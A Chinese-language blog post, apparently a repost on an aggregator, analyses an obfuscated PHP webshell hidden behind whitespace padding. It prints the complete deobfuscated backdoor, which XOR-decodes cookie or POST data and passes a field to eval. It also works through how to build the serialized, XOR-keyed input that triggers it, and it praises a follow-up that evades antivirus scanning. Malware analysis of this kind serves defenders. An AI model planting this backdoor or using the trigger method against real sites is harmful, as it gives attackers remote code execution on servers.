php插马,记一次对php猥琐马的爆菊分析(上)
前言
最近遇到個(gè)文件,打開(kāi)一看只有幾行注釋?看了下字節(jié)數(shù)卻很大,橫向進(jìn)度條很長(zhǎng)啊,通過(guò)web訪問(wèn)是空白,看上去應(yīng)該是藏了后門了。
ps:這種方式遇到粗心/沒(méi)有經(jīng)驗(yàn)的管理員可能混過(guò)去,但若使用win自帶的記事本(需開(kāi)啟自動(dòng)換行)則一覽無(wú)余。
實(shí)際上換行整理一下:
用Notepad++自帶的正則替換簡(jiǎn)單做了下格式處理。
另外在下面的代碼中發(fā)現(xiàn)了?eval/*r49557ec*/(
還插了注釋,這個(gè)小方法很有意思,測(cè)試了下函數(shù)與"("中間插注釋確實(shí)不影響執(zhí)行。
但實(shí)際我測(cè)試用類似的注釋方式填充敏感函數(shù),過(guò)不了D盾。
一、還原廬山真面目
在進(jìn)行替換/整理/和諧部分變量名之后,得到如下完整后門代碼(整理后代碼):<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
$vv = NULL;
$kk = NULL;
$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
global $c77700426;
function e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i
for ($p=0;$p
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
function x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
}
?>
1.前面的代碼部分:需要用到的函數(shù)裝入變量數(shù)組/并拆分拼接
2.定義了兩個(gè)功能函數(shù),主要用來(lái)驗(yàn)證/處理
3.經(jīng)過(guò)一系列限定條件的判斷等,最終觸發(fā)eval/*r49557ec*/(
4.整個(gè)后門的函數(shù)/字符串傳遞幾乎都是使用數(shù)組+拼接的方式進(jìn)行的
這是大致的邏輯,實(shí)際爆菊成功之前有幾件事要做:
1.調(diào)試出各種已定義變量的值
2.替換字變量/函數(shù)名,增加可讀性
3.通過(guò)倒序的方式,逐步嘗試調(diào)用后門,明確調(diào)用邏輯。首先前面幾行:
$GLOBALS['w8fd00d8'] = Array();??//定義全局?jǐn)?shù)組,用于保存后面的各種函數(shù)名/字符串,以及直接作為函數(shù)執(zhí)行 ,如$GLOBALS['xx']()
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
//這里有一個(gè)發(fā)現(xiàn),如果變量是被$GLOBALS賦值,那么此變量也會(huì)隨著$GLOBALS的值實(shí)時(shí)更新
如:
$test = $GLOBALS;
訪問(wèn):?handsome=321123
$test值也有handsome=321123
這個(gè)特性我查了半天資料,沒(méi)有找到原因。
下面:
${ "\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
查了下似乎是16進(jìn)制或Unicode編碼,雙引號(hào)情況下可以直接輸出其值。
由于是16進(jìn)制,在單引號(hào)包裹的情況下也可以使用chr(hexdec(字符串))進(jìn)行解碼。
當(dāng)然,我直接打印了所有已定義變量,得到如下:
[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr
[z2d33f00] => ord
[v618c417c] => define
[hb67d10] => strlen
[r018ad5] => defined
[x8a4] => ini_set
[n2eb] => serialize
[be64] => phpversion
[f8d94b] => unserialize
[kdd72d] => base64_decode
[k23b] => set_time_limit
[s6f48] => x184f5cc
[jf1ef40] => e664fd
[c68905ea] => Array
發(fā)現(xiàn)
敏感函數(shù)unserialize //可能需要反序列化操作
其中下標(biāo)[a904]的值由于存在特殊字符,沒(méi)有顯示完全,另外如需利用到[a904]的值也要考慮這個(gè)問(wèn)題,不能直接輸出使用。
二、觸發(fā)條件分析
當(dāng)時(shí)按順序讀了下功能,事后復(fù)盤發(fā)現(xiàn),可能比較高效的做法是倒序著讀,順著最下面的執(zhí)行邏輯往上去構(gòu)造條件。
所以既然重點(diǎn)在
eval/*r49557ec*/($vv['d']);
那設(shè)法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
可以先不考慮x184f5cc(base64_decode($vv), $kk)是怎么來(lái)的,我們先直接修改$vv的值,看怎樣才能滿足執(zhí)行條件。
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
后門觸發(fā)條件:
1.$vv需要是數(shù)組
2.成員必須存在'ak'且'ak'需等于$c77700426的值
$c77700426的值在上面已有定義:為'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
3.成員需存在'a',若值為'i'則輸出版本,為'e'則觸發(fā)后門
4.后門執(zhí)行內(nèi)容為成員'd'的值
所以$vv需要等于↓↓
array(
'ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
'a'=>'e',
'd'=>'執(zhí)行代碼' //如phpinfo();
);
.直接傳入試試有沒(méi)有問(wèn)題 :
可以執(zhí)行,回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我們構(gòu)造的數(shù)組
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
看下x184f5cc()函數(shù)做了什么操作?
function??x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
1.其中$w8fd00d8相當(dāng)于$GLOBALS
$c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.經(jīng)過(guò)兩次核心混淆函數(shù)e664fd()的處理
這時(shí)候重新理一下:
我們必須使e664fd(e664fd($vv, $c77700426), $kk);的返回結(jié)果為 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
再來(lái)看一下e664fd()函數(shù)
function??e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i
for ($p=0;$p
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
大致功能就是把傳入的兩個(gè)參數(shù)值逐個(gè)字符轉(zhuǎn)為ASCII碼并進(jìn)行位運(yùn)算(取反),得到的結(jié)果以字符串形式返回。
位取反有個(gè)特點(diǎn):
1.A與B取反=C
2.B與C取反=A
可逆,B^C當(dāng)然就得到A了。所以回過(guò)頭看:我們必須使函數(shù)↓↓
e664fd(e664fd($vv, $c77700426), $kk);
的返回結(jié)果為 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
也就是我們需要在第二次我們必須使e664fd()時(shí)候,讓e664fd($vv, $c77700426)與$kk的取反結(jié)果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
于是需要看看$kk的值是如何過(guò)來(lái)的,
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
發(fā)現(xiàn)$kk/$vv前后沒(méi)有做什么驗(yàn)證,代碼就是就是比較單純的獲取COOKIE或POST提交過(guò)來(lái)的參數(shù)名和參數(shù)值并傳給$kk/$vv
我們通過(guò)cookie提交來(lái)驗(yàn)證一下是否正常輸出:
沒(méi)問(wèn)題!
三、確定爆菊思路
然后我們大致確定下構(gòu)造的思路:
e664fd(e664fd($vv, $c77700426), $kk);
第一次e664fd()執(zhí)行時(shí):
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
需返回能與第二次e664fd() cookie參數(shù)名取反結(jié)果為a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值
第二次e664fd()執(zhí)行時(shí):
e664fd(第一次的返回值, $kk);
//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
所以構(gòu)造思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie參數(shù)名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照這個(gè)邏輯進(jìn)行參數(shù)提交,方可觸發(fā)后門。
但COOKIE/POST中參數(shù)名對(duì)特殊字符支持有限,所以$kk(參數(shù)名)的值最好在字母/數(shù)字范圍內(nèi),好在$vv(參數(shù)值)的值就寬容的多,尤其是由于$vv傳遞過(guò)程需要Base64解碼,所以,cookie值需base64編碼,可以取反的字符范圍就比較大了。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
我們先把$kk也就是cookie參數(shù)名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'(也可以是任意字符 cookie參數(shù)名允許即可)
具體長(zhǎng)度取決于我們的payload序列化后的字符長(zhǎng)度(phpinfo()的序列化后長(zhǎng)度是101個(gè)字符),兩者長(zhǎng)度要一致。
四、寫個(gè)Payload腳本
大致實(shí)現(xiàn)通過(guò)傳參生成任意執(zhí)行代碼的payload,如果要更懶的話可以直接寫提交過(guò)去。
Payload代碼:
生成結(jié)果:
執(zhí)行結(jié)果:
問(wèn)題:
為何我測(cè)試許久發(fā)現(xiàn)提交的命令只要大于11個(gè)字符就報(bào)錯(cuò),應(yīng)該不是cookie參數(shù)名長(zhǎng)度問(wèn)題,希望有兄弟解答!
..........
彩蛋
我在分析此后門過(guò)程中,前面提到的導(dǎo)致無(wú)法執(zhí)行超過(guò)11位的payload。
Heihu577兄弟進(jìn)行了調(diào)試并提醒了我原因所在,我很感謝他,并且他把此馬進(jìn)一步拓展利用,不僅改了過(guò)查殺,還可以直接用于SHELL管理工具(如蟻劍),他的文章很精彩,讓我們一起拭目以待他的下文吧!
總結(jié)
以上是生活随笔為你收集整理的php插马,记一次对php猥琐马的爆菊分析(上)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 过敏性鼻炎吃什么药好?怎么养?
- 下一篇: 日本語メール用語集